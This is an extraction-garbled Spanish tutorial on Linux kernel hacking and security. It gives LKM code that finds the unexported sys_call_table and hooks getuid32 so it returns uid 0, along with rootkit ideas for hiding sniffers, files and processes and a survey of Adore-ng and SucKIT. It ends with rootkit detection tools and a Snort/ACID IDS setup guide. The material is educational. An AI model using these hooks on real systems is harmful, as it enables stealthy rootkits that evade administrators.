1 include ltlinuxinithgt 2 include ltlinuxmodulehgt 3 include ltlinuxkernelhgt 4 static int __init carga(void) 5 6 printk(KERN_INFO LKM preparadon) 7 return 0 8 9 static void __exit descarga(void) 10 11 printk(KERN_INFO Nos vamosn) 12 13 module_init(carga) 14 module_exit(descarga)
Lo que se nota raacutepidamente es que he antildeadido ltlinuxinithgt para las macros module_init y module_exit el caso es que el meacutetodo usado a partir de ahora para llamar a las funciones init_module y cleanup_module es mediante esas dos macros lo que nos permite llamar a nuestras rutinas de carga y descarga con el nombre que queramos Otra cosa he antildeadido ahiacute KERN_INFO a printk cosa que hasta ahora no habiacutea hecho y sirve para establecer una prioridad a la hora de registrar o imprimir nuestro mensaje y por defecto tiene prioridad DEFAULT_MESSAGE_LOGLEVEL mirando el fichero kernelh solucionamos dudas sobre esto muestro en todo caso las prioridades ordenadas de mayor a menor
KERN_EMERG lt0gt KERN_ALERT lt1gt KERN_CRIT lt2gt KERN_ERR lt3gt KERN_WARNING lt4gt KERN_NOTICE lt5gt KERN_INFO lt6gt KERN_DEBUG lt7gt
No aparecen arriba define __KERNEL__ y MODULE ya que si lo haces seguramente se te advertiraacute de que las declaraciones estaacuten redefinidas
Kernel hacks y seguridad JMP
Compilacioacuten de LKMs para la serie 26
En primer lugar necesitaremos crear un fichero llamado Makefile cuyo contenido sea
obj-m = moduloo
Explicar ahora el funcionamiento de los Makefile y demaacutes escapa de las pretensiones de eacuteste trabajo pero basta con saber que moduloo es el nombre del LKM que deseamos compilar
Hecho esto y situados en un directorio que contiene tanto el moduloc como el fichero Makefile ejecutamos lo siguiente
root make -C usrsrclinux SUBDIRS=$PWD modules
Una vez terminado el proceso tenemos un moduloko generado listo para insertar de manera habitual con insmod para eliminar el moacutedulo se hace de igual forma con rmmod
8- No exportacioacuten de la Sys_call_table[] para nuacutecleos 26x
Resulta que la famosa Sys_call_table que usaacutebamos para enganchar las syscalls ya no estaacute disponible para su uso indiscriminado asiacute que todo esto nos va a suponer un poco maacutes de trabajo
Encontrando la Sys_call_table[]
Ahora el tema se complica un poco y es preferible explicarlo teniendo en cuenta unos conceptos clave
Las Interrupciones son eventos que nos permiten modificar la secuencia actual de instrucciones que la CPU (x86) procesa Internamente Linux y nuestra maacutequina usan el vector 128 (Int 0x80) para las llamadas al sistema
Una IDT de sistema (Interrupt Descriptor Table) es una tabla en la que sea mapea cada vector a un manejador de excepcioacuten o una interrupcioacuten el registro idtr (en arquitectura x86) contiene la direccioacuten de la base de la IDT
Linux utiliza dos tipos de descriptores las Trap Gates y las Interrupt Gates de manera que los Gate Descriptors (traducido descriptores de puerta o pasarela) sirven como identificador para la direccioacuten de una interrupcioacuten o manejadores de excepciones Aquiacute hemos notado muchas veces que ocurriraacute un fallo de proteccioacuten general cuando el nivel de privilegios del Gate Descriptor es inferior al indicado por el nivel de privilegio de un programa
Un System Gate que es un tipo de Gate corre con un nivel de privilegio 3 (su Descriptor Privilege Level o DPL vale 3 para las System Gates y 0 para Trap Gates por ejemplo) esto es muy interesante para nosotros en el aspecto en que el vector 128 puede ser accedido por medio de syscalls gracias a la famosa Int 0x80 a de Linux y es lo que hacen los programas en modo de usuario
Kernel hacks y seguridad JMP
Resumiendo
Resulta que tenemos una IDT y una GDT (tabla de descriptores global) de manera que cuando queremos acceder a una syscall de sistema usando IDT + GDT se ejecuta una syscall definida iquestdefinida doacutende pues en archi386entryS gentileza del propio Linus Torvalds -)
El hack
Lo ideal seriacutea que editar (soacutelo lectura) archi386entryS para buscar una parte igual o muy similar a la que muestro en la serie 24 cambia ligeramente pero la idea es la misma
usrsrclinuxarchi386kernelentryS
Liacuteneas 225 a 259 de mi kernel 2614 sobre la 277 en versiones 269 y otras ndash por supuesto- esto es asi debido a algunos cambios que se han ido haciendo en el desarrollo
system call handler stub
1 ENTRY(system_call) 2 pushl eax save orig_eax 3 SAVE_ALL 4 GET_THREAD_INFO(ebp) 5 testw
$(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT)TI_ flags(ebp)
6 jnz syscall_trace_entry 7 cmpl $(nr_syscalls) eax 8 jae syscall_badsys 9 syscall_call 10 call sys_call_table(eax4) 11 movl eaxEAX(esp) 12 syscall_exit 13 [ continuacutea]
He omitido algunos comentario del fichero y demaacutes por brevedad
Atencioacuten en la liacutenea que va justo despueacutes de la etiqueta syscall_call ahiacute lo que hace es hacer una llamada pasando en el registro EAX el nuacutemero de la syscall En el mismo fichero entryS maacutes abajo deberiacutea haber algo como lo que sigue esto era cierto hasta las versiones 269 y otras pero recientemente y una vez maacutes esto ha cambiado un poco y ahora tenemos en mi kernel 2614 un fichero ldquosyscall_tableSrdquo en el mismo lugar que contiene una tabla con las llamadas al sistema no sabriacutea decir si es maacutes coacutemodo o no pero lo cierto es que lo deja con un aspecto maacutes bonito para trabajar
Esto es parte de su contenido
Kernel hacks y seguridad JMP
data ENTRY(sys_call_table)
long sys_restart_syscall 0 - old setup() system call
long sys_exit long sys_fork long sys_read long sys_write long sys_open long sys_close long sys_waitpid long sys_creat long sys_link long sys_unlink long sys_execve
long sys_chdir long sys_time long sys_mknod long sys_chmod long sys_lchown16 long sys_ni_syscall long sys_stat long sys_lseek
long sys_getpid long sys_mount long sys_oldumount long sys_setuid16 long sys_getuid16 long sys_stime long sys_ptrace long sys_alarm long sys_fstat long sys_pause long sys_utime long sys_ni_syscall long sys_ni_syscall long sys_access
long sys_nice long sys_ni_syscall long sys_sync long sys_kill long sys_rename long sys_mkdir long sys_rmdir long sys_dup long sys_pipe long sys_times long sys_ni_syscall long sys_brk long sys_setgid16 long sys_getgid16 long sys_signal long sys_geteuid16 long sys_getegid16 long sys_acct long sys_umount long sys_ni_syscall
y continuacutea
used for restarting
5
10
15
old break syscall holder
20
25
30 old stty syscall holder old gtty syscall holder
35 - old ftime syscall holder
40
old prof syscall holder 45
50
recycled never used phys() old lock syscall holder
Kernel hacks y seguridad JMP
Arriba donde dice sys_restart_syscall seriacutea la syscall 0 y sys_exit la 1 bien ese es el lugar para ir a mirar el siacutembolo correspondiente
Ahora tenemos que volcar el contenido de entryo (fichero objeto) del mismo directorio actual de entryS buscando algo MUY concreto queremos esa direccioacuten maacutegica y especial que tan ansiadamente buscamos
Procedo a usar GDB para desensamblar el fichero como muestro en la figura
Muy bien ahora ya hemos encontrado la direccioacuten que queriamos y apartir de esa direccioacuten ya es posible encontrar la sys_call_table
Lo podemos comprobar tambieacuten haciendo un volcado del fichero objeto con objdump
objdump -d entryo|grep ff 14 85
Ahora muestro un coacutedigo bastante probado que de una manera bastante ya estandarizada nos consigue la Sys_call_table[] para poder usuarla como cuando antes la exportabamos
El coacutedigo puede parecer un poco complicado pero hace lo que se ha explicado justo arriba y finalmente nos devuelve la direccioacuten donde se encuentra con un puntero
Kernel hacks y seguridad JMP
Obtenemos la sys_call_table[] en kernels de la serie 26 test
include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct
unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2
__attribute__ ((packed)) idt
IDTR struct
unsigned short limit unsigned int base
__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)
return 0 el hack static void syscalltable(void)
unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))
printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]
memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn
verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))
i++ sys_call_table =(void) ((int ) ampsccall[i+3])
printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P
Kernel hacks y seguridad JMP
empieza static int __init buscarsct(void)
printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)
syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]
sys_call_table[__NR_getuid32]=cero_uidreturn 0
lo ponemos todo en orden static void __exit descarga(void)
sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)
module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])
Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores
81- Otra alternativa iquestmaacutes sencilla
Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos
No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno
La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora
Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos
usrsrclinuxincludeasm $ vim processorh
Kernel hacks y seguridad JMP
1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la
Sys_call_table[])
Kernel hacks y seguridad JMP
Imagen conceptual del proceso
Kernel hacks y seguridad JMP
9- Hooks y hacks de intereacutes (algunas ideas)
Algunas cosas que podemos hacer en el Kernel
Ocultar un sniffer
Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos
Ocultar ficheros y procesos
iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )
Manipular execve()
Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno
usrsrclinuxincludeasm $ vim unistdh
En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute
Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original
Kernel hacks y seguridad JMP
inicio
int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)
0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))
__syscall_return(long__res)
final
Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM
10- Rootkits visioacuten general
Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host
Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red
De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas
Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute
Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros
Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad
Kernel hacks y seguridad JMP
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo
Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso
Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente
Runs on kernel 24x UP and SMP systems
First test-versions successfully run on 260
File and directory hiding
Process hiding
Socket-hiding (no matter whether LISTENing CONNECTED etc)
Full-capability back door
Does not utilize sys_call_table but VFS layer
KISS principle to have as less things in there as possible but also being as much powerful as possible
Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y
Kernel hacks y seguridad JMP
carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore
La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes
Adore ~034 SucKIT Adore-ng gt=131
Interceptando el flujo de ejecucioacuten
Syscalltable Syscall handler VFS
Transferencia coacutedigo dentro del Kernel
LKM Acceso directo (raw shycrudo) a memoria
LKM
Incluye puerta trasera - Siacute -
Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs
Tabla Comparativa de algunos rootkits
Medidas de proteccioacuten y deteccioacuten de rootkits
Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas
Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten
Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap
linux head Systemmap
00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
